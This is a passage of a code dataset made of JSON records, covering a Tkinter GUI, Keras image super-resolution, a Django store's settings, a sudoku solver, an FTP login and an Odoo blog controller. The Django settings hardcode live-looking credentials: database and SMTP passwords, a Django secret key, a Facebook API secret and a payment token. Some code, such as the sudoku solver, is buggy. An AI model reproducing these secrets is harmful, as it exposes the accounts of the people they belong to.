Button(textvariable=self.currentShopUse, relief=GROOVE, font=self.generalFont, width=10, command=self.useShop)\r\n\r\n\r\n def addCanvas(self):\r\n self.townMap = Canvas(width=500, height=500, relief=RAISED, bd=4, bg=\"white\")\r\n self.townMap.bind(\"\", self.shopOptions)\r\n self.townMap.grid(row=1, column=1, rowspan=1, columnspan=2, sticky=\"NEW\")\r\n\r\n\r\n def drawShops(self):\r\n self.update()\r\n self.townMap.delete(\"all\")\r\n if(not self.town.hasBeenSet):\r\n try:\r\n self.town.setTownRectangles(self.townMap.winfo_height(), self.townMap.winfo_width())\r\n except IndexError:\r\n print(\"SHOP PLACING ERROR\")\r\n self.town.hasBeenSet = False\r\n self.drawShops()\r\n for shop in self.town.shops:\r\n self.townMap.create_rectangle(shop.x1, shop.y1, shop.x2, shop.y2)\r\n\r\n\r\n def configureGrid(self):\r\n for i in range(3):\r\n self.grid_columnconfigure(i, weight=1)\r\n\r\n self.grid_columnconfigure(1, minsize=300)\r\n self.grid_columnconfigure(2, minsize=300)\r\n\r\n for j in range(3):\r\n self.grid_rowconfigure(j, weight=1)\r\n\r\n self.grid_rowconfigure(0, minsize=70)\r\n self.grid_rowconfigure(2, minsize=50)\r\n","sub_path":"Content/GUIs/TownScreen.py","file_name":"TownScreen.py","file_ext":"py","file_size_in_byte":8846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"320890769","text":"from keras.models import Model\nfrom keras.layers import Conv2D, Activation, Input\nfrom keras import optimizers\nfrom keras.models import load_model\nimport numpy as np\nimport scipy.misc\nimport scipy.ndimage\nimport cv2\nimport math\nimport glob\nimport matplotlib.pyplot as plt\n\nimg_shape = (32,32,1)\ninput_img = Input(shape=(img_shape))\nC1 = Conv2D(64,(9,9),padding='SAME',name='CONV1')(input_img)\nA1 = Activation('relu', name='act1')(C1)\nC2 = Conv2D(32,(1,1),padding='SAME',name='CONV2')(A1)\nA2 = Activation('relu', name='act2')(C2)\nC3 = Conv2D(1,(5,5),padding='SAME',name='CONV3')(A2)\nA3 = Activation('relu', name='act3')(C3)\nmodel = Model(input_img, A3)\nopt = optimizers.Adam(lr=0.0003)\nmodel.compile(optimizer=opt,loss='mean_squared_error')\nmodel.summary()\n\ndef modcrop(image, scale=2): #BY DEFAULT SCALE 2\n if len(image.shape) == 3:\n h, w, _ = image.shape\n h = h - np.mod(h, scale)\n w = w - np.mod(w, scale)\n image = image[0:h, 0:w, :]\n else:\n h, w = image.shape\n h = h - np.mod(h, scale)\n w = w - np.mod(w, scale)\n image = image[0:h, 0:w]\n return image\n\ndef create_LR(image,scale):\n label_ = modcrop(image, scale)\n label_ = label_ / 255.\n input_ = scipy.ndimage.interpolation.zoom(label_, (1./scale), prefilter=False)\n input_ = scipy.ndimage.interpolation.zoom(input_, (scale/1.), prefilter=False)\n return input_\n\npath = './img/yang91/'\nfiles_y = glob.glob(path + '*.*')\ntrainfiles = files_y[:60] #HERE TOTAL IMAGES ARE 91 , SO FROM 91 up to 85 used for Training\nvalfiles = files_y[60:] #HERE Above 85 used for Validation Set\nimg_size = 32\nstride = 16\nX_train = []\nY_train = []\nX_val = []\nY_val = []\n\nfrom matplotlib.pyplot import imread\n\n# Extract patch image for training\nfor file_y in trainfiles:\n tmp_y = scipy.ndimage.imread(file_y,flatten=True, mode='YCbCr').astype(np.float)\n tmp_X = create_LR(tmp_y,2) #############################################################SCALE###########\n h,w = tmp_y.shape\n for x in range(0, h-img_size+1, stride):\n for y in range(0, w-img_size+1, stride):\n sub_input = tmp_X[x:x+img_size,y:y+img_size].reshape(img_size,img_size,1)\n sub_label = tmp_y[x:x+img_size, y:y+img_size].reshape(img_size,img_size,1)\n X_train.append(sub_input)\n Y_train.append(sub_label)\n\n# Extract patch image for validation\nfor file_y in valfiles:\n tmp_y = scipy.misc.imread(file_y,flatten=True, mode='YCbCr').astype(np.float)\n tmp_X = create_LR(tmp_y,2)###########################################################SCALE################\n h,w = tmp_y.shape\n for x in range(0, h-img_size+1, stride):\n for y in range(0, w-img_size+1, stride):\n sub_input = tmp_X[x:x+img_size, y:y+img_size].reshape(img_size,img_size,1) # [32 x 32]\n sub_label = tmp_y[x:x+img_size, y:y+img_size].reshape(img_size,img_size,1) # [32 x 32]\n X_val.append(sub_input)\n Y_val.append(sub_label)\n\nX_train = np.array(X_train)\nY_train = np.array(Y_train)\nX_val = np.array(X_val)\nY_val = np.array(Y_val)\n\nmodel.fit(X_train, Y_train, batch_size = 128, epochs = 30, validation_data=(X_val, Y_val))\nmodel.save('wscale2.h5')\n\nimg_o = scipy.misc.imread('./img/baby_x2_GT.png',flatten=True,mode='YCbCr').astype(np.float)\nimg = create_LR(img_o,2) #################################################################SCALE#################\nimg_size = 32\nstride = 16\nh,w = img.shape\npiece_wise = []\nfor x in range(0, h-img_size+1, stride):\n for y in range (0, w-img_size+1, stride):\n sub_input = img[x:x+img_size, y:y+img_size].reshape(img_size,img_size,1)\n piece_wise.append(sub_input)\ninput_ = np.asarray(piece_wise)\nsrcnn = load_model('wscale2.h5')\nhat = srcnn.predict(input_)\nimg_re = np.zeros(img.shape)\ni = 0\nfor x in range(0, h-img_size+1, stride):\n for y in range (0, w-img_size+1, stride):\n img_re[x:x+img_size, y:y+img_size] = hat[i].reshape(img_size,img_size)\n i += 1\ncv2.imwrite('restored1.bmp', img_re)\ncv2.imwrite('HR1.bmp', img_o)\nimg_save = (img*255).astype(np.uint8)\ncv2.imwrite('blurred1.bmp',img_save)\n\n#CALCULATE PSNR\noriginal = cv2.imread(\"HR1.bmp\")\nLR = cv2.imread(\"blurred1.bmp\")\ncontrast = cv2.imread(\"restored1.bmp\",1)\n\ndef psnr(img1, img2):\n mse = np.mean((img1-img2)**2)\n if mse ==0:\n return 100\n PIXEL_MAX = 255.0\n return 20* math.log10(PIXEL_MAX / math.sqrt(mse))\nd = psnr(original,contrast)\nprint(d)\n\nfig = plt.figure(figsize = (14,14), dpi = 100)\nax = plt.subplot(\"131\")\nax.imshow(original)\nax.set_title(\"GT\")\nplt.grid(0)\n\nax = plt.subplot(\"132\")\nax.imshow(LR)\nax.set_title(\"blurred_Image\")\nplt.grid(0)\n\nax = plt.subplot(\"133\")\nax.imshow(contrast)\nax.set_title(\"HR_RECONSTRUCTED\")\nplt.grid(0)\nplt.show()\n\n","sub_path":"04.image_video_bm/SRCNN/srcnn_keras.py","file_name":"srcnn_keras.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"283079721","text":"# Copyright (C) 2018 Apple Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR\n# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport logging\nimport os\nimport subprocess\n\nimport ews.config as config\n\n_log = logging.getLogger(__name__)\n\n\nclass Buildbot():\n @classmethod\n def send_patch_to_buildbot(cls, patch_path, properties=[]):\n command = ['buildbot', 'try',\n '--connect=pb',\n '--master={}:{}'.format(config.BUILDBOT_SERVER_HOST, config.BUILDBOT_SERVER_PORT),\n '--username={}'.format(config.BUILDBOT_PB_USERNAME),\n '--passwd={}'.format(config.BUILDBOT_PB_PASSWORD),\n '--diff={}'.format(patch_path),\n '--repository=']\n\n for property in properties:\n command.append('--property={}'.format(property))\n\n _log.debug('Executing command: {}'.format(command))\n return_code = subprocess.call(command)\n if return_code:\n _log.warn('Error executing: {}, return code={}'.format(command, return_code))\n\n return return_code\n","sub_path":"Tools/BuildSlaveSupport/ews-app/ews/common/buildbot.py","file_name":"buildbot.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"21765081","text":"from django.shortcuts import render\nfrom message.models import Message\nfrom django.http import Http404\nfrom django.contrib.auth.decorators import login_required\n\n\n# Create your views here.\n@login_required\ndef log_audit(request):\n '''\n 审计日志\n '''\n if request.user.is_superuser:\n logs = Message.objects.all()[:300]\n\n if request.method == 'GET':\n if 'aid' in request.GET:\n aid = request.get_full_path().split('=')[1]\n log_detail = Message.objects.filter(id=aid)\n data = {\n 'log_detail': log_detail,\n 'page_name': '日志明细'\n }\n return render(request, 'message/log_audit_detail.html',data)\n data = {\n 'all_logs':logs,\n 'page_name':'审计日志'\n }\n\n return render(request, 'message/log_audit.html', data)\n else:\n raise Http404\n","sub_path":"message/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"574362305","text":"import gym\nimport gym_stocks\nimport random\n\nenv = gym.make('Stocks-v0')\n# print(env.reset())\nenv.reset()\n\nfor i in range(10):\n\tprs = (random.randint(0,20)-10)/10\n\tdata,reward,done, _ = env.step(prs)\n\t# print(data)\n\tprint(\"act: {}, roi(reward): {}\".format(prs,reward))\n\tprint(\"---\")\n\t#print env.step(0)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"347168122","text":"\ndef file_inpt(filename, optype, encoding):\n with open(filename, optype, encoding=encoding) as fi:\n lines = fi.readlines()\n all_data = [(l.strip() if l!='\\n' else '0') for l in lines[2:]]\n parsed_data = []\n spotted = None\n for i, e in enumerate(all_data):\n if e == '0':\n if not spotted and not any(i==x for x in (0, len(all_data)-1)):\n spotted = True\n parsed_data.append('')\n else:\n parsed_data.append(e)\n else:\n spotted = False\n parsed_data.append(e)\n return ''.join(parsed_data) \n\n \ndef print_data(datastr):\n print('\\n'.join(''.join(str(e) for e in datastr[k-9:k]) for k in range(9, len(datastr)+1, 9)))\n\ndef getIndxsData(datastr):\n return [i for i in range(len(datastr))]\n\n\ndef getAllArraysDict(datastr, ilst):\n\n def getIndxsKey(ilst):\n return ';'.join(str(i) for i in ilst)\n\n def getIntRows(datastr, ilst):\n return {getIndxsKey(ilst[k-9:k]): datastr[k-9:k] for k in range(9, len(datastr)+1, 9)}\n\n def getIntCols(datastr, ilst):\n return {getIndxsKey(ilst[k:len(datastr):9]): datastr[k:len(datastr):9] for k in range(9)}\n\n def getIntSquares(datastr, ilst):\n itmp = [ilst[k-3:k] for k in range(3, len(datastr)+1, 3)]\n newilst = []\n for j in range(3):\n for tripl in itmp[j:(len(datastr)//3):3]:\n for e in tripl:\n newilst.append(e)\n return {getIndxsKey(newilst[k-9:k]): ''.join(datastr[i] for i in newilst[k-9:k]) for k in range(9, len(datastr)+1, 9)}\n \n return {**getIntRows(datastr, ilst), **getIntCols(datastr, ilst), **getIntSquares(datastr, ilst)}\n\n\ndef getCellSetDict(datastr, ilst):\n\n def getSetforArray(array):\n return {e for e in \"123456789\" if e not in set(array)}\n\n def getEmptCells(datastr):\n return [i for i in range(len(datastr)) if datastr[i]=='0']\n\n all_arrays_dict = getAllArraysDict(datastr, ilst)\n empt_cells = getEmptCells(datastr)\n celldict = {}\n for indx in empt_cells:\n check_sets = [getSetforArray(all_arrays_dict[k]) for k in all_arrays_dict if str(indx) in k.split(';')]\n numset = {str(e) for e in \"123456789\"}\n for st in check_sets:\n numset &= st\n if numset == set():\n return False\n celldict[indx] = numset\n return celldict\n\n\ndef makeDataChanges(datastr, celldict):\n changed = None\n for indx in celldict.keys():\n if len(celldict[indx]) == 1:\n changed = True\n datastr[indx] = ''.join(celldict[indx])\n if not changed:\n return changed\n return datastr\n\n\ndef pickItem(celldict, takenlst, lenlimit=2):\n for indx in celldict.keys():\n if len(celldict[indx]) == lenlimit and indx not in taken:\n return (indx, celldict[indx])\n return pickItem(celldict, takenlst, lenlimit + 1)\n\n\ndef tryNum(datastr, ilst, celldict, takenlst):\n print(\"trying\")\n indx, set_ = pickItem(celldict, takenlst)\n temp = datastr\n for num in set_:\n temp[indx] = num\n if getCellSetDict(temp, ilst):\n return (temp, indx)\n\n\ndef processData(datastr):\n ilst = getIndxsData(datastr)\n takenlst = []\n while datastr.count('0') > 0:\n celldict = getCellSetDict(datastr, ilst)\n changes = makeDataChanges(datastr, celldict)\n if not changes:\n datastr, taken_new = tryNum(datastr, ilst, celldict, takenlst)\n takenlst.append(taken_new)\n else:\n datastr = changes\n print_data(datastr)\n print('*'*15)\n \n \ndata_str = file_inpt(\"tst.py\", 'r', encoding='utf8')\nprint_data(data_str)\nprint('*'*15)\nprocessData(list(data_str))\n","sub_path":"sudoku_primitive_data.py","file_name":"sudoku_primitive_data.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"304028496","text":"''' Calculate e using its simple continued fraction expansion\n\n See http://stackoverflow.com/q/36077810/4014959\n\n Also see\n https://en.wikipedia.org/wiki/Continued_fraction#Regular_patterns_in_continued_fractions\n\n Written by PM 2Ring 2016.03.18\n'''\n\nimport sys\n\n\ndef contfrac_to_frac(seq):\n ''' Convert the simple continued fraction in `seq`\n into a fraction, num / den\n '''\n num, den = 1, 0\n for u in reversed(seq):\n num, den = den + num * u, num\n return num, den\n\n\ndef e_cont_frac(n):\n ''' Build `n` terms of the simple continued fraction expansion of e\n `n` must be a positive integer\n '''\n seq = [2 * (i + 1) // 3 if i % 3 == 2 else 1 for i in range(n)]\n seq[0] += 1\n return seq\n\n\nnumbers = e_cont_frac(100)\nnumerator = [int(i) for i in str(contfrac_to_frac(numbers)[0])]\nprint(sum(numerator))\n","sub_path":"codes/problems/problem65.py","file_name":"problem65.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"574672433","text":"# import pickle\n\n# boxes = pickle.load(open('/home/junjie/Code/faster-rcnn-gcn/output/res101/voc_2007_test/rec_bgul/detections.pkl', 'rb'))\n# re_class_boxes = pickle.load(open('/home/junjie/Code/faster-rcnn-gcn/output/res101/voc_2007_test/origin/detections.pkl', 'rb'))\n\n\n# pass\n\n\nimport json\ncoco = json.load(open('/home/junjie/Code/Datasets/COCO/annotations/instances_trainval2014.json', 'rb'))\n\nclass_name = [ 'aeroplane', 'bicycle', 'bird', 'boat',\n 'bottle', 'bus', 'car', 'cat', 'chair',\n 'cow', 'diningtable', 'dog', 'horse',\n 'motorbike', 'person', 'pottedplant',\n 'sheep', 'sofa', 'train', 'tvmonitor']\n\nclass_name = [ 'airplane', 'bicycle', 'bird', 'boat',\n 'bottle', 'bus', 'car', 'cat', 'chair',\n 'cow', 'dining table', 'dog', 'horse',\n 'motorcycle', 'person', 'potted plant',\n 'sheep', 'couch', 'train', 'tv']\n\n\ni = 0\nindex = []\nfor cat in coco['categories']:\n if cat['name'] in class_name:\n print(cat['name'])\n i += 1\n index.append(cat['id'])\n \nprint(i)\n\nprint(index)\npass","sub_path":"utils/read_output.py","file_name":"read_output.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"444330750","text":"#! /usr/bin/env python\n\nimport ftplib\nimport os\nimport socket\n\nHOST = 'ftp.mozilla.org'\nDIRN = 'pub/mozilla.org/webtools'\nFILE = 'bugzilla-LATEST.tar.gz'\n\ndef main():\n try:\n f = ftplib.FTP(HOST)\n except (socket.error, socket.gaierror) as e:\n print('ERROR: cannot reach \"%s\"' % HOST)\n return\n print ('*** Connected to host \"%s\"' % HOST)\n\n\n try:\n f.login()\n except ftplib.error_perm:\n print('ERROR: cannot login anonumously')\n f.quit()\n return\n print('*** Logged in as \"anonymous\"')\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"getLatestFTP.py","file_name":"getLatestFTP.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"339097897","text":"#-*- coding: utf-8 -*-\nfrom os.path import join, dirname\nRAIZ = dirname(__file__)\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@example.com'),\n)\n\nGRAPPELLI_ADMIN_TITLE = 'Mega Empório'\n\nMANAGERS = ADMINS\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'megaempo_loja',\n 'USER': 'root',\n 'PASSWORD': '123',\n 'HOST': 'localhost',\n 'PORT': '3306',\n }\n}\n\n# DATABASES = {\n# 'default': {\n# 'ENGINE': 'django.db.backends.mysql',\n# 'NAME': 'megaempo_loja',\n# 'USER': 'megaempo_user',\n# 'PASSWORD': 'yP8aOEMxnv',\n# 'HOST': 'localhost',\n# 'PORT': '3306',\n# }\n# }\n\nTIME_ZONE = 'America/Sao_Paulo'\n\nLANGUAGE_CODE = 'pt-br'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nCDN_ROOT = join(RAIZ, 'public')\nMEDIA_ROOT = join(CDN_ROOT, 'media')\n\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\nMEDIA_URL = '/media/'\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\nSTATIC_ROOT = join(CDN_ROOT, 'static')\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\nSTATIC_URL = '/static/'\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # join(CDN_ROOT, 'static'),\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 's&mu!8jhzv*15yulzpqjm-wuu4^5qwq6=n=*m9r++m@=ev6&jk'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.request',\n \"context_processors.baseurl\",\n 'social_auth.context_processors.social_auth_by_name_backends',\n 'social_auth.context_processors.social_auth_backends',\n 'social_auth.context_processors.social_auth_by_type_backends',\n 'social_auth.context_processors.social_auth_login_redirect',\n\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # Uncomment the next line for simple clickjacking protection:\n # 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'urls'\n\n# Python dotted path to the WSGI application used by Django's runserver.\n#WSGI_APPLICATION = 'megaemporio.wsgi.application'\n\nTEMPLATE_DIRS = (\n join(RAIZ, 'templates'),\n)\n\nINSTALLED_APPS = (\n 'grappelli',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'supermercado',\n 'cliente',\n 'carrinho',\n 'vendas',\n 'importacao',\n 'social_auth',\n 'sorl.thumbnail',\n 'django_pagseguro',\n 'funcionario',\n # 'debug_toolbar',\n\n)\n\nSOCIAL_AUTH_PIPELINE = (\n 'social_auth.backends.pipeline.social.social_auth_user',\n 'social_auth.backends.pipeline.associate.associate_by_email',\n 'social_auth.backends.pipeline.user.get_username',\n 'social_auth.backends.pipeline.user.create_user',\n 'social_auth.backends.pipeline.social.associate_user',\n 'facebook_authetication.populate_user_profile',\n )\n\nSESSION_SERIALIZER='django.contrib.sessions.serializers.PickleSerializer'\nFACEBOOK_EXTENDED_PERMISSIONS = ['email']\nLOGIN_URL = '/login-form/'\nLOGIN_REDIRECT_URL = '/produtos/'\nLOGIN_ERROR_URL = '/login-error/'\n\nFACEBOOK_APP_ID = '660346804018593'\nFACEBOOK_API_SECRET = '4bbb4098ff7ceff42f9e96ae80c50808'\n\nNOME_LOJA = 'Mega Emporio'\nDEFAULT_FROM_EMAIL = u'%s'%NOME_LOJA\nDEFAULT_REPLY_EMAIL = u'%s'%NOME_LOJA\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = 'mail@smartweb.com.br'\nEMAIL_HOST_PASSWORD = 'swko153575'\nEMAIL_SUBJECT_PREFIX = u'[%s]'%NOME_LOJA\nEMAIL_PORT = 587\nEMAIL_USE_TLS = True\n\nAUTHENTICATION_BACKENDS = (\n 'social_auth.backends.facebook.FacebookBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\nSITE_ID = 1\nPAGSEGURO_EMAIL_COBRANCA = 'chicosilva1@gmail.com' # email de cobrança usado no pagseguro\nPAGSEGURO_TOKEN = 'DA2C105ABFDE468F87462EE6A63B8853' # token gerado no sistema de url de retorno do pagseguro\nPAGSEGURO_URL_RETORNO = 'http://s5.megaemporio.smartwebhosted.com/pagseguro/retorno/' # url para receber o POST de retorno do pagseguro\nPAGSEGURO_URL_FINAL = 'http://s5.megaemporio.smartwebhosted.com//obrigado/' # url final para redirecionamento\nPAGSEGURO_ERRO_LOG = '/tmp/pagseguro_erro.log'","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"629334246","text":"import os\nimport csv\n\nfile1 = \"C:/Users/ADMIN/Documents/GWBootcamp_HWassignments/python-challenge/PyPoll/election_data_1.csv\"\n\n\nwith open(file1) as csvfile1:\n\n total_votes = 0\n candidates_dictionary = {}\n most_votes = 0\n\n csv_reader = csv.reader(csvfile1, delimiter=\",\")\n next(csv_reader, None)\n for row in csv_reader:\n total_votes = total_votes + 1\n \n candidate_name = row[2]\n # If the candidate is not already in the dictionary\n if candidate_name in candidates_dictionary:\n # # # Add the candidate to the dictionary by setting the key to their name and set the value to 1\n # candidates_dictionary[candidate_name] = 1\n candidates_dictionary[candidate_name] += 1\n else:\n candidates_dictionary[candidate_name] = 1\n #The candidate is already in the dictionary so increment the value by 1\n # #if candidates_dictionary.key() in candidates_dictionary\n\n # Write a line of code here to add a value to the dictionary\n# End of for loop (Must be indented back\n\n#sets path for output file\noutput_dest = os.path.join('Output.txt')\n\n# opens our Output.text destination and prints the summary for the data \nwith open(output_dest, 'w') as writefile:\n print(\"Election Results\")\n print(\"--------------------------------------\")\n print(\"Total Votes: \" + str(total_votes))\n print(\"--------------------------------------\")\n for key, value in candidates_dictionary.items(): \n print(key, str(value/total_votes*100)+\"%\", value) \n #winner = most_votes/total_votes\n #if most_votes < value:\n #most_votes = winner\n print(\"----------------------------------------\")\n print(\"Winner: \" + \"Vestal\")\n \n#opens the output file in read mode and prints to the terminal \nwith open(output_dest, 'r') as readfile:\n print(readfile.read())","sub_path":"python-challenge/PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"382689673","text":"from keras.models import load_model\nfrom keras.models import model_from_json\nfrom keras.applications import imagenet_utils\nfrom keras.preprocessing.image import img_to_array\nfrom sklearn.preprocessing import scale\nimport os, sys\nimport numpy as np\nfrom keras.models import load_model\nfrom keras.preprocessing import image\nfrom keras.applications import imagenet_utils\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n# dimensions of our images\nimg_width, img_height = 224, 224\ncatsPredicted, birdsPredicted, NothingPredicted = 0, 0, 0\nfolder =['/home/ioannis/Desktop/foto/cats',\n '/home/ioannis/Desktop/foto/birds',\n '/home/ioannis/Desktop/foto/nothing']\n\n\n\n#load the model we created\njson_file = open('/home/ioannis/Desktop/model_l2.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nloaded_model = model_from_json(loaded_model_json)\n# load weight into model\nloaded_model.load_weights(\"/home/ioannis/Desktop/model_l2.h5\")\nprint(\"\\nModel successfully loaded from disk! \")\n\n#print model summary\nprint(loaded_model.summary())\n\n#Predict image\ndef predict_image(image):\n img =image.load_img(image, target_size=(224, 224))\n img = np.asarray(img,'float32')/255.0\n image = np.expand_dims(img, axis = 0)\n preds = loaded_model.predict(image)\n print(\"\\rImage is : \" + image)\n #pred_classes = np.argmax(preds)\n print(preds)\n print(pred_classes)\n\nfor subfolder in folder :\n catsPredicted, birdsPredicted, NothingPredicted = 0, 0, 0\n print(\"\\nPredicting\",subfolder , \"images\")\n for filename in os.listdir(subfolder):\n #print(filename)\n x = subfolder +'/'+filename\n img =image.load_img(x, target_size=(224, 224))\n img1 = np.asarray(img,'float32')/255.0\n image2 = np.expand_dims(img1, axis = 0)\n preds = loaded_model.predict(image2)\n birdsPredicted +=preds[0,0]\n catsPredicted += preds[0,1]\n NothingPredicted += preds[0,2]\n catmeans = catsPredicted /50\n birdsmean = birdsPredicted /50\n nothingmean = NothingPredicted /50\n allmeans = [round(catmeans, 2) , round(birdsmean, 2), round(nothingmean, 2)]\n print(' Cat | Bird | Nothing')\n print(allmeans)\n","sub_path":"Neural_Networks/Deep_Learning/Part_2/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"273947389","text":"# -*- coding: utf-8 -*-\n###################################################################################\n#\n# Cybrosys Technologies Pvt. Ltd.\n#\n# Copyright (C) 2019-TODAY Cybrosys Technologies().\n# This program is free software: you can modify\n# it under the terms of the GNU Affero General Public License (AGPL) as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n###################################################################################\n\nimport json\n\nfrom odoo.addons.http_routing.models.ir_http import slug, unslug\nfrom odoo.addons.website.controllers.main import QueryURL\nfrom odoo.addons.website_blog.controllers.main import WebsiteBlog\n\nfrom odoo import http, fields, SUPERUSER_ID\nfrom odoo.http import request\n\n\nclass BlogInherit(WebsiteBlog):\n \"\"\"Override class WebsiteBlog\"\"\"\n @http.route(['/blog',\n '''/blog/''',\n '''/blog//page/''',\n '''/blog//tag/''',\n '''/blog//tag//page/''',\n '''/blog/search_content''',\n ], type='http', auth=\"public\", website=True, csrf=False)\n def blog(self, blog=None, tag=None, page=1, **opt):\n \"\"\"function related to blog display\"\"\"\n date_begin, date_end, state = opt.get('date_begin'), opt.get('date_end'), opt.get('state')\n published_count, unpublished_count = 0, 0\n\n domain = request.website.website_domain()\n blog_post = request.env['blog.post']\n blogs = request.env['blog.blog'].search(domain, order=\"create_date asc\", limit=2)\n # retrocompatibility to accept tag as slug\n active_tag_ids = tag and [int(unslug(t)[1]) for t in tag.split(',')] if tag else []\n if active_tag_ids:\n fixed_tag_slug = \",\".join(slug(t) for t in request.env['blog.tag'].browse(active_tag_ids))\n if fixed_tag_slug != tag:\n return request.redirect(\n request.httprequest.full_path.replace(\"/tag/%s/\" % tag, \"/tag/%s/\" % fixed_tag_slug, 1), 301)\n domain += [('tag_ids', 'in', active_tag_ids)]\n if blog:\n domain += [('blog_id', '=', blog.id)]\n if date_begin and date_end:\n domain += [(\"post_date\", \">=\", date_begin), 